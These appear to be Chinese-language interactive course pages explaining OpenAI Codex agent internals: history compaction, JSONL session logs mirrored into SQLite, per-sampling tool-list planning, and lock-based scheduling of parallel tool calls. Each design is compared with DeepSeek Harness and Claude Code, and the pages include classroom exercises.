本地先追加合成提示和助手输出,版本号还不变。成功之后整表换成截断后的用户原话加摘要前缀。
空窗跳过模型和服务端。新窗口里只剩当前环境,没有摘要,回忆不带走。
教学示意:色块数量与角色为课程化设定,用来展示三条管道各自砍什么、留什么。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 时机和实现拆开
它解决什么问题

你让 coding agent 在同一个线程里改了三十轮。前二十轮还记得工作区在哪、哪几个文件不能动。到第三十轮,它突然问你「当前目录是什么」。再过几轮,已经批准过的 npm test 又被问了一遍。

用量顶到窗口边上之后,系统必须压历史。如果把什么时候压、怎么压写进同一段判断,换提供方或加一种不叫模型的空窗,判定入口都要跟着改。中途压完还要继续采样,发消息前压完则下一轮才会重注,这两件事对摘要位置的要求也不一样。

思路是什么

Codex 把时机写成 CompactionPhase:发消息前的 PreTurn、工具跑完还要续跑的 MidTurn、用户手动的 StandaloneTurn。实现写成 CompactionImplementation:本地再采一次样、旧的 /responses/compact、新的 compaction_trigger。分析事件另有 Trigger 和 Reason 两套标签。自动路径共用 run_auto_compact,手动路径共用 CompactTask。九宫格是乘法表,源码里没有九套并列函数。

三个自动时机都先问同一个函数。token_limit_reached 在缓冲后的 compact 限额或满窗任一触发时为真。中途还要多一道闸:后面还要继续,并且模型刚请求了新窗口或 token 已经到顶。只满不续,这一轮自然结束,下一轮用户消息到来时走预采样。

出处:codex-rs/core/src/session/context_window.rs 第 74 至 91 行;codex-rs/core/src/session/turn.rs 第 458 至 483 行

分发器第一句看 TokenBudget。开了就换空窗,远端和本地都被跳过。关了再按提供方能力选:认 compaction_trigger 且特性开,走远端 v2;认 V2 但特性关,走旧远端接口;Unsupported 走本地。TokenBudget 默认关,RemoteCompactionV2 默认开。默认 OpenAI 会话走远端 v2。

出处:codex-rs/core/src/session/turn.rs 第 1178 至 1201 行;codex-rs/features/src/lib.rs 第 1428 至 1433 行、第 1542 至 1547 行

用量到顶或 /compact 选相位 同一套分发器 空窗 TokenBudget 第一句 if,跳过摘要 远端 v2 或旧接口 回来要过滤网 本地再采样 提供方 Unsupported replace_compacted_history 三条管道的安装点相同,差异在安装之前的产物
教学化结构图:先选相位,再进同一套分发器,最后都在同一个安装点换窗。
为什么长期成立

什么时候该换窗,和窗里装什么,是两件独立的事。换语言重写,仍要先选相位再选管道。提供方只有一个时,也可以先把判定和安装拆开。

思路二 · 远端先过滤,摘要位置看相位
它解决什么问题

服务端带回的 transcript 可能夹着过期 developer 指令。不滤就和本地按当前 world state 新渲染的环境叠在一起,效果等价于有人改了旧行。中途压完还要在同一轮继续采样,模型被训练成摘要是历史上最后一项。上下文如果插到摘要后面,训练约束就破了。

思路是什么

滤网是完整的穷尽 match。丢掉 developer、非用户内容的 user 包装、工具调用和压缩触发项。留下真实用户消息、持久化 hook prompt、assistant、压缩项。v2 复用同一函数。

出处:codex-rs/core/src/compact_remote.rs 第 370 至 397 行

然后按 InitialContextInjection 决定插不插。预采样和手动用 DoNotInject:替换历史里没有初始上下文,并清掉 reference_context_item,下一轮普通 turn 会走完整重注。中途用 BeforeLastUserMessage:当前环境和权限插到最后一条真实用户消息之上,摘要仍在队尾。插入函数还有兜底:没有真实用户就插在摘要前,再没有就插在最后一条 compaction 项前。

出处:codex-rs/core/src/compact.rs 第 59 至 74 行

采样前 / 手动 · DoNotInject 用户原话 摘要 环境此刻不进替换表 下一轮普通 turn 整包重注 中途 · BeforeLastUserMessage 当前环境 最后一条用户 摘要必须在最后 同一轮接着采样,训练约束把摘要钉在队尾
教学化对照:同一份摘要,两种相位,两种安置。

三种实现最后都进 replace_compacted_history。live history 整表替换。history_version 只在这时加一,追加不碰版本号。Guardian 复用 transcript 时会核对 parent_history_version,版本变了就不能复用旧的审查前缀。

出处:codex-rs/core/src/context_manager/history.rs 第 298 至 302 行

远端回来的包装先丢掉。中途摘要停在队尾。
为什么长期成立

远端结果只要不是本地函数吐出来的,进门先丢掉指令包装。插入点挡的是训练约束和重注时机,这两件事本来就分开。版本号只在重写时前进,因为追加每轮都发生。

思路三 · 空窗也是压缩,只是不叫模型
它解决什么问题

有时用户只想换一扇干净的窗,不要摘要。空窗如果走另一套生命周期,hook 和 ContextCompaction 条目会看不见这件事。这个开关默认关,避免用户在没意识到时丢掉整段对话。

思路是什么

TokenBudget 跳过模型和服务端摘要,安装一扇新窗口,摘要字段是空字符串。模型在新窗口里看不到旧对话,只看到此刻的环境和权限。这和 new_context 工具那句合同一致:换窗,不摘要。它仍然走压缩生命周期,pre-compact hook 若停下,窗口还没换。

出处:codex-rs/core/src/compact_token_budget.rs 第 21 至 25 行

本地路径自己碰上满窗,不递归调用自动压缩。它删最老的一条再打一次。只剩一条还超,就标满窗并返回错误。远端失败也不会改走本地:普通满窗触发的预压缩和中途压缩都把 fallback 传成 None,第一次远端失败直接返回。超时不在可重试名单里。

出处:codex-rs/core/src/compact_model_fallback.rs 第 8 至 20 行

为什么长期成立

压缩是一次换窗的生命周期,产物可以是摘要,也可以是空房间。递归要自己挡住:手动任务不进 turn 循环,本地超窗靠修剪,中途路径靠压成功就会低于限额。假设不成立时,循环可以再次进入。

横向对比 · 同一道题的另一种答法

DSH:不叫模型的那一刀可以先落地

DSH 的压缩家族在 packages/compaction/。压力触发时先可选地 prune,再量一次。prune 之后如果已经回到阈值以下,摘要不跑。两条路径都在本地,没有 Codex 那种 compact 客户端。

溢出恢复把 replaceGeneration 当重试许可。prune 先落地、随后摘要抛错,只要 generation 前进了,就允许从新表层再试。generation 只在 replace 计划提交时加一,append 不加。Codex 用 history_version 回答同一问题,远端要么整窗安装,要么完全不装。

两侧均已核对源码 · 2026-08-22 · DSH · Compaction

Claude Code:递归靠标签拦住,失败三次就停手

默认自动路径仍是再叫一次模型写摘要。自动判定先挡递归:session_memorycompact 这两种 querySource 直接返回 false,注释写明它们是 fork 出来的 agent,再触发会死锁。连续失败 3 次之后电路熔断,注释记录过单会话连续失败上千次的事故。

Codex 的 Compact 任务不进 turn 循环,这种标签可以不存在。换来的是中途路径没有对等的连续失败计数器。作者把赌注写在注释里:压缩只要把用量压到限额以下,就不必担心死循环,于是计数器被省掉了。

两侧均已核对源码 · 2026-08-22
课堂练习
01

三张替换表各留下什么

上面那一段混杂历史,分别走中途远端、走空窗、走采样前远端。写出三张替换表:各砍掉哪几块、保住哪几块、摘要在不在最后、初始上下文此时在不在表里。

进阶一问:远端第一次失败时,为什么普通满窗路径不会改走本地,换模型预压缩却可以再打一次远端。

Takeaway:时机和实现拆开,九种组合共用两套入口。远端先进滤网,中途摘要必须停在队尾。空窗是压缩的一种产物,回忆不带走。
OpenAI Codex · 会话存储

JSONL 是真相,SQLite 是镜像

昨天关了终端,今天列表还在,对话也能接着改。这两件事看起来像同一份存储,落盘时却走两条轨。上轨按行追加,下轨只抄封面。中途拔电之后,能捡回来的永远是已经过了闸门的那几行。

课程目标读完能说清三件事。第一,会话列表和会话恢复为什么不读同一份盘。第二,一次追加为什么必须先让 JSONL 过闸,再投影到 SQLite。第三,拔电发生在闸门前、闸门后或压缩写到一半时,各会丢掉什么。
先玩一遍 · 边跑边落盘,然后拔电
一次会话写下几件事,在你选的位置拔电
拔电时机
闸门是 JSONL 的 flush。过了闸门,恢复就能读到这一行。投影可以晚到,不能抢跑。
JSONL 原文0 行过闸
SQLite 封面空卡片
flush barrier纸带还没走到闸门。
恢复读文件还没拔电,先看纸带怎么往前走。
列表读镜像卡片会抄标题、目录和路径,不抄整段对话。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. Session 把 item 交给 LiveThread,失败只记日志session/mod.rs L3753
  2. LiveThread 把原文切片交给 storelive_thread.rs L203
  3. 白名单丢掉瞬时 EventMsg,执行标记一律留下policy.rs L9
  4. 一行 JSON 加换行,write_all 后再 flushrecorder.rs L1968
  5. 闸门先赢,Paginated 才投影 thread_historylive_writer.rs L337
  6. 投影失败只 warn,下次按字节偏移续live_writer.rs L345
  7. 观察过滤结果,再打字面 metadata patchlive_thread.rs L212
  8. 恢复从文件逐行 decode,不从 threads 表拼历史recorder.rs L1009
  9. 列表无库或出错,退回扫 sessions 目录recorder.rs L547
点播放。会话边跑边落盘,你选的位置会拉闸。
恢复
列表
合同
教学示意:行数、标题和拔电位置为课程化设定,用来对照闸门前后的恢复差异。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 追加日志当原文,派生表当封面
它解决什么问题

列表要快,恢复要对。一份文件很难同时满足。JSONL 追加便宜,用 jq 就能读。按工作区、置顶、归档去筛,它就不合适。SQLite 擅长这些过滤,却不该成为恢复时拼模型输入的地方。

两件看起来相反的事故,其实指向同一条规则。state_5.sqlite 被删掉,列表空一阵又长回来,对话还在。你用手改库里的标题和 cwd,刷新后有时跟着变,有时又变回去。镜像可以重建,也可以被原文覆盖。原文丢了,镜像救不回来。

思路是什么

Codex 拆成两轨。Session 不直接碰文件,它把已经构造好的 item 交给当前的 LiveThread。没有 live handle,或者 append 失败,turn 本身不因此中断,错误只进日志。

出处:codex-rs/core/src/session/mod.rs 第 3753 至 3759 行

LiveThread 先按策略过滤一份观察用的副本,交给 store 的仍是原始切片。store 自己再跑一遍白名单。流式增量、审批、警告这些瞬时 EventMsg 进不了 JSONL。Compacted、TurnContext、WorldState、SessionMeta 一律留下。

写的顺序固定。先让 JSONL 落盘,再投影到 SQLite。投影失败可以下次重做。JSONL 失败,SQLite 不能顶上去。

Session LiveThread JSONL rollout 一行一条,flush 之后才算过闸 SQLite 镜像 threads 行只抄标题、目录、路径 恢复、fork、压缩回放 只读 JSONL,按行 decode 再重建 列表、搜索、置顶分区 走镜像;库不可用就退回扫目录
教学化结构图:同一条 item 先盖进纸带,再抄到卡片。两条读路径从此分开。
为什么长期成立

追加写和随机查要的物理形状不一样。绑在同一份格式上,要么列表变慢,要么每次追加都改整份文档。拆开之后,写路径可以先保证原文,再修镜像。换语言重写,合同还是这句。

思路二 · 镜像可以落后,不能超前
它解决什么问题

如果先写 SQLite 再补 JSONL,进程死在两步中间,列表里会出现点不开的会话。用户看见标题,点进去没有对应行。这种不一致比列表暂时为空更难查。

思路是什么

Paginated 模式下,注释把 SQLite 写成可重建视图。flush 屏障必须先赢,投影可以落后,不能超前。durable_write 返回 Ok 之后,materialize_to_sqlite 才许开始。投影出错只打 warn。

出处:codex-rs/thread-store/src/local/live_writer.rs 第 335 至 347 行

落到字节的那一步,一行 JSON 加一个换行,write_all 后再 flush。这里的 flush 是 tokio 文件缓冲,源码没有再调 sync_all。进程被立刻杀掉时,最后几行可能停在内核页缓存里。下次打开会补换行,坏掉的半行计进 parse_errors

出处:codex-rs/rollout/src/recorder.rs 第 1968 至 1974 行

恢复、fork、压缩回放只读 JSONL。列表优先走 SQLite。库不存在、打开失败、回填未完成,一律退回扫 ~/.codex/sessions/ 目录,并打稳定指标 codex.sqlite.fallback.count

出处:codex-rs/rollout/src/recorder.rs 第 547 至 559 行

一次追加的时间线 write_all flush 闸门 投影到 SQLite 闸门前拔电 最后一行可能还在页缓存,恢复读不到 闸门后拔电 恢复能捡回这一行,列表封面可以晚一拍 屏障在这里,投影不许越过它
教学化时序图:同一条写入,拔电位置决定恢复能看见哪一行。
为什么长期成立

可重建的东西允许丢,不允许抢跑。两边绑进同一个事务,镜像一慢,原文也写不进去。允许落后、禁止超前,是日志加派生表的通用合同。

思路三 · 压缩合同写在文件里
它解决什么问题

压缩会换掉一段历史。如果 Compacted、WorldState、TurnContext 只活在内存或只活在 SQLite,删库之后窗口号和基线一起丢。用户以为模型忘了,加载器其实只是没读到那三行。

思路是什么

压缩先改内存历史,再按 Compacted、WorldState、TurnContext 的顺序落盘。WorldState 必须跟在 replacement history 后面,因为它是这份新历史的基线。

出处:codex-rs/core/src/session/mod.rs 第 3417 至 3427 行

恢复时反过来读。从后往前扫,碰到带 replacement_history 的 Compacted 就切断更早的后缀,并清掉更早的 TurnContext 基线。再正序重放 WorldState,full 快照重置基线,patch 往上合并。

出处:codex-rs/core/src/session/rollout_reconstruction.rs 第 155 至 188 行

这三类对列表几乎无用。apply_rollout_item 碰到 Compacted 和 WorldState 是空操作。镜像不是全文索引,是列表和筛选要用的字段。标题来自 UserMessage,不从模型的 ResponseItem 猜。

出处:codex-rs/state/src/extract.rs 第 14 至 34 行

原文先落盘。封面可以重建。
为什么长期成立

恢复合同写在文件里。改持久化形状等于改恢复合同。仓库根的 AGENTS.md 把从已有 rollout 恢复会话列进破坏性变更检查清单。文件还在,会话就能按合同重放。

横向对比 · 同一份历史,三种落点

DSH:同一种日志,两种后端

DeepSeek Harness 的持久化单元就是内存里的 SessionEvent。JSONL 和 SQLite 实现同一份 SessionPersistence seam,换后端换的是存储原语,不换日志语义。header 带 SESSION_FORMAT_VERSION = 0。版本不对,或出现未知且未标 ignorable 的事件,直接拒绝解读,错误叫 SessionFormatUnsupportedError

静默残缺比报错更难查,DSH 选择报错。Codex 选择尽量打开,未知形状靠 serde 失败计入 parse_errors,有 item 时仍会尽量建 builder。

两侧均已核对源码 · 2026-08-22 · DSH · 会话持久化

Claude Code:一份 JSONL,没有会话镜像库

当前会话路径是 projects/<project>/<sessionId>.jsonl。追加是同步 appendFileSync,一行 JSON 加换行,权限 0o600。列表走 getSessionFilesLite,读文件头尾,不经过 SQLite。

单文件读取有 50 MB 上限,注释写明会话 JSONL 可以长到数 GB,调用方必须先退出以免撑爆内存。Codex 把这个扫盘代价挪到启动回填。两边都承认 JSONL 会涨,一个读到上限就拒绝整文件读入,一个靠回填工人把封面重新抄进库。

两侧均已核对源码 · 2026-08-22
课堂练习
01

压缩写到一半时拔电

一次会话已经写下 SessionMeta、一条用户消息、一条助手回复。接着压缩开始,Compacted 已经 flush,WorldState 还没写,这时拔电。

推演三件事:恢复能捡回哪一段历史;列表卡片上的标题会不会变;缺的那一行基线,回放时会被置成什么。

Takeaway:JSONL 挡住历史丢失。SQLite 挡住列表太慢。回填挡住镜像空了。fallback 挡住镜像撒谎。任何一层都可以失败。默认让列表降级,不要让恢复降级。
OpenAI Codex · 代码模式

模型看见的工具清单,是一次采样算出来的

同一段对话、同一份配置,下一轮采样却可能多出 MCP 名字、协作入口或 tool_search。变的是这一次允许广告哪些 handler。

课程目标读完能说清三件事。第一,工具清单冻在一次采样上,MCP 中途掉线改不了已经发出去的表。第二,规划按身份裁剪来源,注册了不等于看得见。第三,搜索一开,贵的 MCP schema 会撤到延迟发现,只留 tool_search
先玩一遍 · 拨开关,看这一轮菜单怎么变
同一会话:条件一变,模型这一轮看见的表就重算
条件
左边是这一轮的输入。点播放按源码顺序走一遍,也可以自己拨。
发给模型的菜单0件可见0字描述
本轮已冻结,掉线改不了这份表
注册了但看不见0
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 解析这一步的 MCP 绑定mcp.rs L310
  2. 采集 MCP 目录,交给规划函数turn.rs L1494
  3. 按身份决定是否走完整来源spec_plan.rs L889
  4. 登记 shell、资源、实用、协作spec_plan.rs L930
  5. 追加 MCP 并套上暴露策略spec_plan.rs L148
  6. 有 deferred 才挂 tool_searchspec_plan.rs L335
  7. 只把 is_direct 的 spec 发给模型spec_plan.rs L484
  8. 冻进 StepContext.tool_routerstep_context.rs L44
  9. build_prompt 读取可见表turn.rs L1320
点播放,看同一会话里拨几个开关,模型这一轮的菜单怎么增减。
菜单从哪来环境在、ShellTool 和 UnifiedExec 开着,先上 shell 两件套。MCP 连上再加资源入口和规范化后的外部名。
看得见和注册了搜索一开,贵的 MCP schema 撤到灰色区,初始表换成 tool_search。评审员跳过整组来源,非 Managed 时表是空的。
掉线改哪一轮采样中途断开,已经发出去的菜单不动。下一轮按空绑定重算,那些名字才会消失。
教学示意:开关组合与描述长度是课程化设定,规划顺序对齐 build_tool_router。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 冻在一次采样上
它解决什么问题

你刚接上 MCP filesystem,模型这一轮还在跑。要是按整轮用户对话冻工具表,新连上的服务器得等下一条用户消息才进菜单。要是每调一次工具冻一次,同一次采样里并行的两次调用可能看见两份不同的表。

广告一份、执行另一份,或者执行到一半表变了,是工具表最常见的翻车。

思路是什么

Codex 把这一次采样的模型、审批、环境、MCP 绑定和已经算完的 tool_router 一起放进 StepContext。注释写明它是 request-scoped:采样请求之间可以变,同一次采样里不变。tool_router 是 this exact sampling request 的计划。

采样进行期间,模型看见的名字和能 dispatch 的 runtime 都读这份快照。MCP 服务器在这次采样中途掉线,改不了已经算完的表。下一次采样会再走 mcp_runtime_for_step,绑定可能复用,也可能换成空绑定。出处:codex-rs/core/src/session/step_context.rs 第 17 至 47 行;codex-rs/core/src/session/mcp.rs 第 348 至 357 行

MCP 绑定 这一 step 的目录 build_tool_router 按身份规划 StepContext 冻住 router Prompt.tools 发给模型 中途掉线改不了这份快照 下一轮采样再解析绑定,空绑定就不再挂 MCP 名字
教学化结构图:冻结发生在采样边界,广告和执行读同一份 router。

所以冻结单位是 step,不是 turn。一个 turn 里可以有多次采样,每次重建一份 StepContext出处:codex-rs/core/src/session/turn.rs 第 1318 至 1320 行

为什么长期成立

可见和可执行共用一份快照,下一轮再吸收新连接。换个语言重写,最小形态仍是一个函数:输入开关、MCP 目录、身份,输出可见表和可执行表,请求开始时算一次,算完就冻。

思路二 · 按身份裁来源
它解决什么问题

审批模型如果看见工作模型那整张 MCP 和协作工具表,它就能去 spawn_agent、读外部资源,审批本身被绕开。先注册全表再过滤,漏一条分支就会把不该给的名字送出去。

思路是什么

规划函数按身份决定走哪些来源。Guardian 评审员的标签必须恰好是 guardian。权限档案不是 Managed,函数直接返回,注册表是空的。Managed 且有环境时,最多三件:exec_commandwrite_stdin、可选 view_image。普通会话才走 shell、MCP 资源、实用工具、协作这四组,再追加 MCP、扩展和动态工具。出处:codex-rs/core/src/guardian/review.rs 第 212 至 220 行;codex-rs/core/src/tools/spec_plan.rs 第 144 至 164 行、第 889 至 934 行

读盘也没有一等入口。handlers 目录里没有 ReadFileHandler。模型要读文件,走 exec_command、MCP filesystem,或 view_image 内部的 exec-server API。

为什么长期成立

身份一变,整组来源都不走。默认关上门发生在评审员、环境缺失、特性关闭这几处,换语言也用得上。

思路三 · 注册了不等于看得见
它解决什么问题

MCP 工具的 schema 很贵。全挂上,初始请求的 token 会被描述文本吃掉。两个 server 都提供 read_file,不消歧就会撞名。

思路是什么

暴露态把注册表拆成几条可见面。Direct 进初始表。Deferred 只留给 tool_search。Hidden 只留给 dispatch。搜索开着时,MCP 工具默认 Deferred,不进初始可见表。出处:codex-rs/tools/src/tool_executor.rs 第 51 至 80 行;codex-rs/core/src/mcp_tool_exposure.rs 第 90 至 94 行

finalize_tool_router 只在两件事同时成立时才挂 tool_search:模型支持 search tool,并且注册表里还有至少一个 deferred 且带 search_info 的工具。没有 deferred,它不会进表。出处:codex-rs/core/src/tools/spec_plan.rs 第 335 至 370 行、第 578 至 580 行

已登记 能 dispatch Direct · 初始表 Deferred · 先搜再看见 Hidden · 只留给执行 Prompt.tools tool_search 的检索面 模型看不见,调用时还能命中
教学化对照:同一份注册表拆成直接可见、延迟发现、只可执行三条面。

两个 MCP server 的同名工具,在规范化阶段消歧:默认加 mcp__ 前缀,sanitize 后仍撞车再加 12 位哈希后缀。外部工具撞到已占用的核心名,直接跳过。仓库根 AGENTS.md 仍写着 mcp_connection_manager.rs,当前树里没有这个文件,消歧在 tools.rs出处:codex-rs/codex-mcp/src/tools.rs 第 1 至 5 行、第 113 至 151 行;AGENTS.md 第 35 行

注册了,还不等于这一轮发给了模型。
为什么长期成立

可见、可检索、可执行是三份集合。token 预算紧就推迟发现,核心名保留、外部让路。这些不依赖 Rust。

横向对比 · 同一道题的另一种答法

DeepSeek Harness:插件往装配器里投 schema

DSH 没有集中规划函数。每个工具包在 assemble 时通过 systemPrompt.tools() 投递 schema,装配器再用部署配置的 toolOrder 排座位。未点名的工具插在保留标记 <unlisted-tools> 处,按名字字典序。漏写这个标记,装配期直接失败。

装上 @deepseek-ai/dsh-tool-fs,模型就看见一等工具 read。描述要求用它读文本。Codex 把读盘留给 shell、MCP 和内部 API,规划函数里没有 read_file 这个入口。

两侧均已核对源码 · 2026-08-22 · DSH · 工具顺序中心列表

Claude Code:静态基表加 MCP,内置优先

getAllBaseTools 是一张写死的数组,FileReadTool 是一等成员。请求时 assembleToolPool 先过滤 deny 规则,再把内置和 MCP 各自按名字排序后拼接。内置在前,撞名时内置赢。注释写明这样排是为了 prompt cache:MCP 插到内置中间,后面的 cache key 会全失效。

Claude Code 的基表打开一个文件就能数完。Codex 要数清单必须走完 add_core_tool_sources,同一套规划能按身份和预算裁剪。

两侧均已核对源码 · 2026-08-22
课堂练习
01

这一轮菜单上还剩什么

先开 MCP 和搜索,确认 mcp__filesystem__read_file 在灰色区、tool_search 在菜单上。然后推演三步:搜索仍开着,但 MCP 全部变成 Hidden;采样中途掉线;再走下一轮采样。每一拍写下可见表、灰色区和 tool_search 在不在。

进阶一问:把身份改成 Guardian 评审员,权限先 Managed 再改成其他,菜单分别是什么,为什么不是少挂几件工具。

Takeaway:规划函数决定广告什么,注册表决定能 dispatch 什么,暴露态决定直接、延迟还是隐藏,StepContext 把它们冻在采样边界。模型仍可用 exec_command 读文件,即使表上没有 read_file
OpenAI Codex · 工具调度

对模型说随便并行,底下用锁管住

模型看见的、实际执行的、历史记录的,是三套顺序。一面旗允许一次发多个调用,一把读写锁决定谁能叠着进。

课程目标读完能说清三件事。发给模型的并行旗,只表示一次响应里可以出现多个工具调用。每个工具默认走写锁,要并行必须自己改。结果写进会话时,仍按模型当初发出调用的顺序排列。
先玩一遍 · 几个工具同时起跑
同一把读写锁:谁进看菜单,谁在门外等后厨
场景
点窗口可改读牌或写牌。后到的读用来看 fair 锁:写者已经排队,后来的读者不能插队。
看菜单 · 读锁
能并行的可以多人同时在
后厨 · 写锁
独占,只准一人
门外排队
模型发出的顺序
实际执行的顺序
历史入账的顺序
等待开始。点播放,看锁怎么分流。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. build_prompt 把并行旗写成 trueturn.rs L1321
  2. 编请求时和 Lite 标记做与client.rs L952
  3. 路由查注册表,没有就当 falserouter.rs L137
  4. Hidden 即使自称并行也当串行registry.rs L472
  5. 先 spawn,再等就绪,最后拿锁parallel.rs L144
  6. 能并行就 read,否则 writeparallel.rs L152
  7. 结果按 FuturesOrdered 插入顺序入账turn.rs L2135
点播放,看几个工具同时起跑之后,谁能叠着进,谁必须等。
谁能并行亮读牌的进看菜单,可以叠着跑。亮写牌的要独占后厨,门外有写者之后,后来的读也只能排在它后面。
三套顺序模型发出的顺序是 1、2、3、4。执行顺序可以重叠。历史入账仍按发出顺序,先发出的先入账,哪怕它更晚跑完。
你能改的边界把补丁改成读牌,四个会一起进。把读牌改成写牌,它们会互相挡住。后到的读用来看 fair 锁不让插队。
教学示意:窗口与耗时为课程化设定,用来展示读写锁分流和三条顺序可以不一致。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 对模型说可以并行,底下再自己分流
它解决什么问题

你让模型同时读 src/main.rs、读 src/lib.rs,再打一处补丁。屏幕上两份读文件几乎同时出进度,打补丁那一下却停了一拍。

如果运行时把可以并行理解成这些调用叠着跑,两个 apply_patch 会一起改共享的 diff 记账,账会乱。如果这些调用首尾相接,两个读文件也要排队,多耗一轮墙钟。请求侧那面旗只回答模型愿不愿意一次发多个盒子,回答不了盒子落地时谁能重叠。

思路是什么

发给模型的旗写在 Prompt 上。字段默认是 false,采样主路径走 build_prompt,把旗写成 true。编成 Responses 请求体时,再和模型是不是 Responses Lite 做一次与。Lite 上这面旗关掉。压缩那两条组包路径也写死 true,为的是和主采样请求的形状对齐,websocket 复用会逐字段对比,其中就包括这面旗。

出处:codex-rs/core/src/session/turn.rs 第 1312 至 1328 行 · codex-rs/core/src/client.rs 第 946 至 953 行

执行侧另有一张表。ToolExecutor 默认 supports_parallel_tool_calls 返回 false。漏写覆盖就走写锁。exec_commandview_imagetool_search 覆盖成 trueapply_patch 不覆盖。路由先查注册表,查不到当 false。曝光是 Hidden 的,handler 自己返回 true 也没用。MCP 还要服务器开关或只读提示,缺省仍是串行。

出处:codex-rs/tools/src/tool_executor.rs 第 122 至 124 行 · codex-rs/core/src/tools/registry.rs 第 470 至 473 行

模型只看见 parallel_tool_callstrue 或 Lite 下的 false。它看不见谁能并行。工具清单也不会因为某个工具其实要拿写锁而少掉一项。

请求侧 build_prompt 写成 true Lite 再与成 false 模型可以一次发多个 不保证落地会重叠 分类表 默认 false,要并行自己改 Hidden、未知名字当串行 MCP 要 opt-in 或只读提示 模型看不见这张表 闸门 并行走读锁 串行走写锁 一把 RwLock 管全场 先 spawn,再拿锁
教学化结构图:一面旗、一张表、一把锁,各自管一段。
为什么长期成立

对模型的许可以和宿主调度拆开,换语言重写也用得上。请求侧只回答愿不愿意一次发多个调用。执行侧只回答这一次能不能和别人重叠。Lite 测试把旗关掉,说明作者接受某些模型路径上失去这层提示。闸门始终在。模型如果仍在一条响应里发出两个调用,两个任务照样 spawn,照样按本地表拿锁。

思路二 · 一把全场读写锁当闸门
它解决什么问题

分类对了,还要有人看门。两个读可以共存,一个写必须独占。若先握住锁再等 MCP 服务器连上,一次冷启动会让旁边已经就绪的 exec_command 也卡住。

还有公平性。若后来的读者能从写者头顶上翻进去,补丁可能一直拿不到锁。换成标准库那把 RwLock,优先级依赖操作系统,写者有机会被饿死。

思路是什么

一次采样共用一把 tokio::sync::RwLock<()>。锁保护的值是单元类型,里面没有业务数据,只当闸门。任务先 spawn,可选地等就绪,再拿锁。能并行就 read,否则 write。就绪等在锁外面。一个还没连上的 MCP 服务器,不会占着写锁让旁边的 shell 也卡住。

出处:codex-rs/core/src/tools/parallel.rs 第 144 至 156 行

这把锁的优先级是 fair,也叫 write-preferring。已经排队的写请求没拿到、没释放之前,后面的读锁不会发下去。一个 view_image 还在跑,apply_patch 已经在门外,再来的 exec_command 明明可以和 view_image 重叠,却必须排在补丁后面。fair 换来的是写者不会饿死,代价是后来的读者被写者隔开。

分类粒度是工具实例,看不到这一次的参数。exec_command 无论跑 ls 还是 rm,都走读锁。apply_patch 无论补丁多大,都走写锁。两个无关的串行工具也会互相挡住。检索业务代码,没有容量上限。十个 shell 可以一起进。容量交给进程、沙箱和操作系统。

看菜单 · 已拿读锁 view_image exec_command 已经进门的继续跑 两人可以同时看菜单 门外 · 写锁排队 apply_patch 等读者放锁 写者排进 FIFO 后到的读 exec_command 不能插队 排在写者后面
教学化示意:已经进门的读者继续跑,后来的读者看见写者排队,自己排到后面。
为什么长期成立

问的是这一刻有没有独占者。餐厅可以多人同时看菜单,只准一人进后厨。公平策略写在锁的实现里。业务代码只问并行还是独占。换一把会让新读者插队的锁,写者就有机会被饿死。把就绪等待放在锁外面,也是同一类判断:还没准备好的人,不要占着门口。

思路三 · 跑完的顺序不决定入账的顺序
它解决什么问题

两个 exec_command 叠着跑,后发出的可能先跑完。若按完成顺序写历史,模型下一轮看到的结果顺序会和它发出的调用对不上。流内每到一条 OutputItemDone 就建 future,那一套管的是何时开工。这里管的是开工之后谁能重叠,以及结果按什么顺序入账。

思路是什么

采样循环把 tool_future 按到达顺序推进 FuturesOrdereddrain 按插入顺序出队,再写入会话。读锁让两个 shell 叠着跑,入账仍按发出顺序。先发出的先入账,哪怕它其实更晚跑完。

出处:codex-rs/core/src/session/turn.rs 第 2130 至 2140 行

模型以为的顺序、锁上实际发生的顺序、历史里写下的顺序,可以不一致。
为什么长期成立

观测顺序和执行重叠从结构上分开。并行只改墙钟,不改账本。自己做 Agent 时,至少把这两条队列分开写。对模型说可以并行,跑工具时再看本地表,结果仍按调用列表的原顺序收下。

横向对比 · 同一道题的另一种答法

DeepSeek Harness:按参数分类,独占当屏障

DSH 让每个工具提供 isConcurrencySafe(args)。只有精确的 true 才加入并行。缺声明、参数不合法、分类器抛错,都是独占。bash 没有分类器,整条独占。调度器等完整消息到齐,连续的并行调用编成一组,每个独占调用单独成组当屏障。组内滚动池,上限默认 10。

Codex 可以没有这套分组,因为它把判断压成工具级布尔,再用一把锁模拟屏障。DSH 能让只读的 bash 仍然串行,少掉一部分并发。Codex 能让两个 ls 叠着跑,两个 rm 也可以叠着跑。

两侧均已核对源码 · 2026-08-22

Claude Code:按参数分批,只读 bash 才并行

Claude 的 isConcurrencySafe 默认返回 falseBashTool 把并行交给 isReadOnly:命令通过只读约束才返回 truels 可以进并行批,带写副作用的命令进串行批。连续的安全调用收成一批走并发,不安全的每个自成一批,一批里也是一个接一个。上限来自环境变量,解析失败时是 10。

Codex 的 exec_command 省掉命令解析,写命令也进读锁。三边都把调度元数据藏在宿主,闭合的位置不同。Codex 闭合在默认值和 Hidden,对 shell 最放开。DSH 闭合在分类器,bash 全串行。Claude 夹在中间。

两侧均已核对源码 · 2026-08-22
课堂练习
01

后到的读能不能插队

view_image 还在跑,apply_patch 已经在门外排队。这时模型又发出一个 exec_command。演示里切到后到的读,单步走完,对照下面三问。

这个 exec_command 能不能和还在跑的 view_image 叠着跑。
三条结果在历史上按什么顺序入账。
如果把 apply_patch 的窗口改成读牌,闸门还会不会把它单独拦住。
Takeaway:对模型说可以并行,是请求侧的旗。谁能叠着跑,看工具有没有改默认值,Hidden 和未知名字走独占。跑完之后,历史按发出顺序入账。三套顺序可以不一致。
OpenAI Codex · 统一执行

统一入口:一条命令按特征分叉

模型只看见 exec_commandwrite_stdin。进门之后,tty、远程环境和 150 毫秒窗口会把同一条命令送到 PTY、pipe、exec-server,或者送进重试门。

课程目标读完能说清两件事。一条命令进统一入口之后,按 tty、远程环境和是否还活着,走到 PTY、pipe 或 exec-server。沙箱拒绝只有在进程很快退出时,才可能按策略再跑一次。
